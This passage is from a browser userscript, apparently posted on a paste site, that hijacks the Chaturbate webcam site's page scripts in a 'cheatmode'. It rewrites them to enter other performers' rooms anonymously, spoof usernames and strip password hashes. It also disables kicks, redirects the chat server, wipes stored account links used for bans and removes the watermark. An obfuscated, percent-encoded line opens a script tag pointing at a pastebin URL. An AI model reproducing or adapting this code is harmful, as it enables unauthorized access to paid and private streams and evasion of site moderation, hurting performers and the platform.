- 717. window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return;
- 718. }
- 719.
- 720. // create video box with shoutbox, image,normal and anon option, kill refesh
- 721. function makevid(preformer){
- 722.
- 723. // kill all timeouts
- 724. scrip=document.createElement('script');
- 725. scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}';
- 726. document.getElementsByTagName('body')[0].appendChild(scrip);
- 727.
- 728. // image
- 729. prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">';
- 730.
- 731. Fversion = getfversion();
- 732. videodata2 = videodata2.replace("ladroop",preformer);
- 733. newvid=document.createElement('div');
- 734.
- 735. newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata;
- 736.
- 737. document.getElementsByClassName('block')[0].appendChild(newvid);
- 738. newli=document.createElement('li');
- 739. newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>";
- 740. if (bar){bar.appendChild(newli)}
- 741. newli.addEventListener('click',function(){npcheat(preformer,0);}, false);
- 742. ainput()}
- 743.
- 744. // set anon
- 745. function ainput(){
- 746. newli=document.createElement('li');
- 747. newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>';
- 748. if (bar){bar.appendChild(newli)}
- 749. newli.addEventListener('click',function(){npcheat(preformer,1);}, false);
- 750. mobset()}
- 751.
- 752. // mobile mode
- 753. function mobset(){
- 754. newli=document.createElement('li');
- 755. newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">';
- 756. if (bar){bar.appendChild(newli)}}
- 757.
- 758.
- 759. // reconnect chatbox , give me mu8 link
- 760. function keyinput(){
- 761. if (!document.getElementById("cheat")){
- 762.
- 763. if (document.getElementById("movie")){
- 764. place=document.getElementsByClassName('info-user')[0];
- 765. if(!place){place=document.getElementById("shout")} // for pw room with chat
- 766.
- 767. //chat reload
- 768. if (document.getElementsByClassName("chat-box")[0]){
- 769. chatreload=document.createElement('div');
- 770. chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>";
- 771. document.getElementById("defchat").insertBefore(chatreload,place)}
- 772.
- 773. if (document.getElementsByTagName('video')[0]){
- 774. vidlink=document.getElementsByTagName('video')[0].src;
- 775. vid=document.createElement('div');
- 776. vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>";
- 777. document.getElementById("defchat").insertBefore(vid,place)}}
- 778. }
- 779. }
- 780.
- 781. //get saved flashplayer version
- 782. function getfversion(){
- 783. Fversion=readCookie("CBversion");
- 784. if(!Fversion){Fversion=flashplayer}
- 785. version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static"));
- 786. return version}
- 787.
- 788. // videobox data
- 789. var servers=new Array("","-a","-b");
- 790. var server = servers[Math.floor(Math.random()*3)];//0-1-2
- 791. var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down
- 792.
- 793. videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">'
- 794. +'<object id="movie" type="application/x-shockwave-flash" data="';
- 795.
- 796. videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">'
- 797. +'<param name="allowScriptAccess" value="always">'
- 798. +'<param name="allowFullScreen" value="true">'
- 799. +'<param name="quality" value="high">'
- 800. +'<param name="wmode" value="opaque">'
- 801. +'<param name="id" value="movie">'
- 802. +'<param name="FlashVars" value="pid=ladroop&address=edge'
- 803. + servnr+server
- 804. +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">'
- 805. +'</object></div>'
- 806.
- 807. // shoutbox data
- 808. sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" '
- 809. +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" '
- 810. +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>';
- 811.
- 812. // some cookies
- 813. createCookie("u_NxHf","1",1);
- 814. createCookie("us_NxHf","1",1);
- 815. createCookie("dsmn29","1",1);
- 816. createCookie("dsmn26","1",1);
- 817. createCookie("dsmn27","1",1);
- 818. createCookie("dsmn28","1",1);
- 819.
- 820. if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)}
- 821.
- 822. //----------------------------------------------------------------------------------------------------------------------------------
- 823. // executes !everytime! before a script executes
- 824. function do_script2(e) {
- 825.
- 826. // we will always kill swf storage and earase exisiting storage
- 827. if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script
- 828.
- 829. if(!e.target.id){// already altered ? , then ID is set
- 830.
- 831. script=e.target.innerHTML;
- 832. e.preventDefault();
- 833. e.stopPropagation();
- 834. e.target.parentNode.removeChild(e.target);
- 835.
- 836. script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()");
- 837.
- 838. scrip=document.createElement('script');
- 839. scrip.id="newswfstor";
- 840.
- 841. scrip.innerHTML=script;
- 842. document.getElementsByTagName('body')[0].appendChild(scrip);
- 843.
- 844. }}
- 845.
- 846.
- 847. // this part does the flash init script , only remove logo if in normal mode
- 848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script
- 849.
- 850. if(!e.target.id){// already altered ? , then ID is set
- 851.
- 852. script=e.target.innerHTML;
- 853. e.preventDefault();
- 854. e.stopPropagation();
- 855. e.target.parentNode.removeChild(e.target);
- 856.
- 857. scrip=document.createElement('script');
- 858. scrip.id="newvid";
- 859.
- 860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png","");
- 861.
- 862.
- 863.
- 864. if (!readCookie("cheatmode")){
- 865. scrip.innerHTML=script;
- 866. document.getElementsByTagName('body')[0].appendChild(scrip);
- 867. return} // only do the rest if we are in cheatmode , return here if in normal mode
- 868.
- 869. mode=readCookie("cheatmode").split("&");
- 870. preformer=mode[0];
- 871. anon=mode[1];
- 872. mob=mode[2];
- 873. chost=mode[3];
- 874.
- 875. orgname=document.location.href.split("/")[4];
- 876.
- 877. var patrn = new RegExp(orgname,"ig");
- 878. script=script.replace(patrn,preformer);
- 879.
- 880. if((anon==1)||(mob==1)){
- 881. pos1 = script.indexOf('ProductInstall.swf",');
- 882. pos2 = script.indexOf("',",pos1);
- 883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser');
- 884.
- 885. pos1 = script.indexOf("pbkdf2_sha256");
- 886. pos2 = script.indexOf("',",pos1);
- 887. script=script.replace(script.substring(pos1,pos2),"anonymous");
- 888. }
- 889.
- 890. scrip.innerHTML=script;
- 891. document.getElementsByTagName('body')[0].appendChild(scrip);
- 892.
- 893. }}
- 894.
- 895. // next only if in cheatmode
- 896. if (!readCookie("cheatmode")){return}
- 897. mode=readCookie("cheatmode").split("&");
- 898. preformer=mode[0];
- 899. anon=mode[1];
- 900. mob=mode[2];
- 901. chost=mode[3];
- 902.
- 903. orgname=document.location.href.split("/")[4];
- 904.
- 905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script
- 906.
- 907. if(!e.target.id){// already altered ? , then ID is set
- 908.
- 909. script=e.target.innerHTML;
- 910. e.preventDefault();
- 911. e.stopPropagation();
- 912. e.target.parentNode.removeChild(e.target);
- 913.
- 914. var patrn = new RegExp(orgname,"ig");
- 915. script=script.replace(patrn,preformer);
- 916.
- 917. script=script.replace("rtmp://chat1",chost);
- 918. script=script.replace("rtmp://chat2",chost);
- 919.
- 920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib.
- 921.
- 922. script=script.replace("window.location.reload()","return"); // no more kick
- 923.
- 924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat
- 925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0");
- 926.
- 927. if (mob==1){
- 928. script=script.replace("force_handler: null","force_handler: html_handler")}
- 929.
- 930. if(anon==1){
- 931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
- 932. username="";
- 933. l=5+Math.floor((Math.random()*6)+1);
- 934. for (i=0; i<l; i++){
- 935. rand = Math.floor(Math.random()*rd.length);
- 936. username=username+rd.charAt(rand)}
- 937. username = "__anonymous__"+username;
- 938.
- 939. pos1 = script.indexOf("username: '");
- 940. pos2 = script.indexOf("',",pos1);
- 941. script=script.replace(script.substring(pos1,pos2),"username: '"+username);
- 942.
- 943. pos1 = script.indexOf("my_username: '");
- 944. pos2 = script.indexOf("',",pos1);
- 945. script=script.replace(script.substring(pos1,pos2),"my_username: '");
- 946.
- 947. pos1 = script.indexOf("token_balance:");
- 948. pos2 = script.indexOf(",",pos1);
- 949. script=script.replace(script.substring(pos1,pos2),"token_balance: 0")
- 950.
- 951. pos1 = script.indexOf("pbkdf2_sha256");
- 952. pos2 = script.indexOf("',",pos1);
- 953. script=script.replace(script.substring(pos1,pos2),"anonymous");
- 954. } // end if anon
- 955.
- 956.
- 957. scrip=document.createElement('script');
- 958. scrip.id="newchat";
- 959.
- 960. scrip.innerHTML=script;
- 961. document.getElementsByTagName('body')[0].appendChild(scrip);
- 962.
- 963. }}
- 964.
- 965. // next room url or else sorted userlist fails
- 966. if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script
- 967.
- 968. if(!e.target.id){// already altered ? , then ID is set
- 969.
- 970. script=e.target.innerHTML;
- 971. e.preventDefault();
- 972. e.stopPropagation();
- 973. e.target.parentNode.removeChild(e.target);
- 974.
- 975. var patrn = new RegExp(orgname,"ig");
- 976. script=script.replace(patrn,preformer);
- 977.
- 978. scrip=document.createElement('script');
- 979. scrip.id="newnext";
- 980.
- 981. scrip.innerHTML=script;
- 982. document.getElementsByTagName('body')[0].appendChild(scrip);
- 983.
- 984. }}
- 985. }
- 986.
- 987. window.addEventListener("DOMContentLoaded", function() { do_script() }, false);
- 988.
- 989. window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false);
- 990.
- 991. //.user.js
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement